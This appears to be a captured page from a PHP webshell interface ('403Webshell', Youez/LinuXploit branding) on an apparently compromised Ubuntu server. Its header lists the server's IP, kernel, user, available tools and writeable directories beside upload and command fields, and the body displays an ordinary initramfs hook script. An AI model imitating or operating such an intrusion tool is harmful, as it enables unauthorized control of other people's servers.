403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.57
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/initramfs-tools/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/initramfs-tools/hooks/klibc-utils
#!/bin/sh

prereqs()
{
	if [ "${BUSYBOX}" = "n" ] || [ -z "${BUSYBOXDIR}" ]; then
		echo ''
	else
		# Ensure busybox installs all its commands before
		# checking what we should provide
		echo zz-busybox
	fi
}

case $1 in
# get pre-requisites
prereqs)
	prereqs
	exit 0
	;;
esac

for src in /usr/lib/klibc/bin/*; do
	command="$(basename "$src")"
	case "$command" in
	gzip | kinit | zcat)
		# Don't install; these will not be needed
		;;
	*)
		# Don't install commands that already exist in /bin or /sbin
		if ! [ -e "${DESTDIR}/sbin/$command" ] \
		   && ! [ -e "${DESTDIR}/bin/$command" ]; then
			cp -pL "$src" "${DESTDIR}/bin"
		fi
		;;
	esac
done
cp -pL /usr/lib/klibc-*.so "${DESTDIR}/lib"

Youez - 2016 - github.com/yon3zu
LinuXploit